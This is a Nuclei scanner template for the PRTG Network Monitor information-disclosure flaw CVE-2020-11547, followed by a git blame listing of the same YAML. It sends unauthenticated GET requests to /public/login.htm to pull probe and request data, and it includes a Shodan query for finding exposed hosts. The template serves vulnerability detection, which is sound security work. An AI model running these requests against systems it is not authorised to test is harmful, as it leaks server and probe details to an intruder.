nuclei-templates/http/cves/2020/CVE-2020-11547.yaml

id: CVE-2020-11547

info:
  name: PRTG Network Monitor <20.1.57.1745 - Information Disclosure
  author: x6263
  severity: medium
  description: PRTG Network Monitor before 20.1.57.1745 is susceptible to information disclosure. An attacker can obtain information about probes running or the server itself via an HTTP request, thus potentially being able to modify data and/or execute unauthorized administrative operations in the context of the affected site.
  remediation: |
    Upgrade PRTG Network Monitor to version 20.1.57.1745 or higher to mitigate the information disclosure vulnerability.
  reference:
    - https://github.com/ch-rigu/CVE-2020-11547--PRTG-Network-Monitor-Information-Disclosure
    - https://github.com/ch-rigu/PRTG-Network-Monitor-Information-Disclosure
    - https://nvd.nist.gov/vuln/detail/CVE-2020-11547
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-11547
    cwe-id: CWE-306
    epss-score: 0.0011
    epss-percentile: 0.43821
    cpe: cpe:2.3:a:paessler:prtg_network_monitor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: paessler
    product: "prtg_network_monitor"
    shodan-query: title:"prtg"
  tags: cve,cve2020,prtg,disclosure

http:
  - method: GET
    path:
      - "{{BaseURL}}/public/login.htm?type=probes"
      - "{{BaseURL}}/public/login.htm?type=requests"
      - "{{BaseURL}}/public/login.htm?type=treestat"

    stop-at-first-match: true
    req-condition: true

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(body_1, 'Probe #1') && contains(body_2, '<span>Configuration Requests Sent</span>')"

      - type: word
        part: body
        words:
          - "prtg_network_monitor"
          - "Probes"
          - "Groups"
        condition: or

      - type: status
        status:
          - 200

# digest: 4a0a004730450221008b3c464bf1a5e5a79a63fcd45c2c7e85feaa134d717ab3cfb9d43ebbeb8172a9022010177fe3031277ca4dcb14a842616190c32fc94e6a57151cb3e240fa35079b82:922c64590222798bb761d5b6d8e72950
Adding CVE-2020-11547 2021-09-02 11:43:37 +00:00			`id: CVE-2020-11547`

			`info:`
Enhancement: cves/2020/CVE-2020-11547.yaml by md 2023-04-04 19:00:14 +00:00			`name: PRTG Network Monitor <20.1.57.1745 - Information Disclosure`
Adding CVE-2020-11547 2021-09-02 11:43:37 +00:00			`author: x6263`
			`severity: medium`
Enhancement: cves/2020/CVE-2020-11547.yaml by md 2023-04-04 19:00:14 +00:00			`description: PRTG Network Monitor before 20.1.57.1745 is susceptible to information disclosure. An attacker can obtain information about probes running or the server itself via an HTTP request, thus potentially being able to modify data and/or execute unauthorized administrative operations in the context of the affected site.`
updated 2020 CVEs 2023-09-06 12:22:36 +00:00			`remediation: \|`
			`Upgrade PRTG Network Monitor to version 20.1.57.1745 or higher to mitigate the information disclosure vulnerability.`
Update CVE-2020-11547.yaml 2021-09-02 12:55:16 +00:00			`reference:`
Adding CVE-2020-11547 2021-09-02 11:43:37 +00:00			`- https://github.com/ch-rigu/CVE-2020-11547--PRTG-Network-Monitor-Information-Disclosure`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`- https://github.com/ch-rigu/PRTG-Network-Monitor-Information-Disclosure`
Enhancement: cves/2020/CVE-2020-11547.yaml by md 2023-04-04 19:00:14 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2020-11547`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 5.3`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2020-11547`
more updates 2023-07-15 16:29:17 +00:00			`cwe-id: CWE-306`
Added CPE and EPSS Score to CVE Templates 2023-04-12 10:55:48 +00:00			`epss-score: 0.0011`
TemplateMan Update [Tue Oct 31 18:27:55 UTC 2023] :robot: 2023-10-31 18:27:55 +00:00			`epss-percentile: 0.43821`
updated 2020 CVEs 2023-09-06 12:22:36 +00:00			`cpe: cpe:2.3:a:paessler:prtg_network_monitor::::::::`
Added CPE and EPSS Score to CVE Templates 2023-04-12 10:55:48 +00:00			`metadata:`
Merge remote-tracking branch 'origin' into add-cpe-epss 2023-05-02 12:51:24 +00:00			`verified: true`
updated 2020 CVEs 2023-09-06 12:22:36 +00:00			`max-request: 3`
more updates 2023-07-15 16:29:17 +00:00			`vendor: paessler`
			`product: "prtg_network_monitor"`
updated 2020 CVEs 2023-09-06 12:22:36 +00:00			`shodan-query: title:"prtg"`
misc changes 2023-06-12 13:24:55 +00:00			`tags: cve,cve2020,prtg,disclosure`
Adding CVE-2020-11547 2021-09-02 11:43:37 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Adding CVE-2020-11547 2021-09-02 11:43:37 +00:00			`- method: GET`
			`path:`
Update CVE-2020-11547.yaml 2021-09-02 12:55:16 +00:00			`- "{{BaseURL}}/public/login.htm?type=probes"`
			`- "{{BaseURL}}/public/login.htm?type=requests"`
minor-update 2022-12-22 18:20:45 +00:00			`- "{{BaseURL}}/public/login.htm?type=treestat"`
Update CVE-2020-11547.yaml 2021-09-02 12:55:16 +00:00
added-stop-first-match 2022-12-23 09:42:30 +00:00			`stop-at-first-match: true`
Update CVE-2020-11547.yaml 2021-09-02 12:55:16 +00:00			`req-condition: true`
more updates 2023-07-15 16:29:17 +00:00
Update CVE-2020-11547.yaml 2021-09-02 12:55:16 +00:00			`matchers-condition: and`
Adding CVE-2020-11547 2021-09-02 11:43:37 +00:00			`matchers:`
Update CVE-2020-11547.yaml 2021-09-02 12:55:16 +00:00			`- type: dsl`
			`dsl:`
template syntax fixes (#4711) 2022-06-30 11:19:17 +00:00			`- "contains(body_1, 'Probe #1') && contains(body_2, '<span>Configuration Requests Sent</span>')"`
Update CVE-2020-11547.yaml 2021-09-02 12:55:16 +00:00
Adding CVE-2020-11547 2021-09-02 11:43:37 +00:00			`- type: word`
template syntax fixes (#4711) 2022-06-30 11:19:17 +00:00			`part: body`
Adding CVE-2020-11547 2021-09-02 11:43:37 +00:00			`words:`
Update CVE-2020-11547.yaml 2021-09-02 12:55:16 +00:00			`- "prtg_network_monitor"`
minor-update 2022-12-22 18:20:45 +00:00			`- "Probes"`
			`- "Groups"`
Update CVE-2020-11547.yaml 2022-12-22 18:22:47 +00:00			`condition: or`
Update CVE-2020-11547.yaml 2021-09-02 12:55:16 +00:00
Adding CVE-2020-11547 2021-09-02 11:43:37 +00:00			`- type: status`
			`status:`
			`- 200`
TemplateMan Update [Tue Oct 31 10:54:20 UTC 2023] :robot: 2023-10-31 10:54:20 +00:00
			`# digest: 4a0a004730450221008b3c464bf1a5e5a79a63fcd45c2c7e85feaa134d717ab3cfb9d43ebbeb8172a9022010177fe3031277ca4dcb14a842616190c32fc94e6a57151cb3e240fa35079b82:922c64590222798bb761d5b6d8e72950`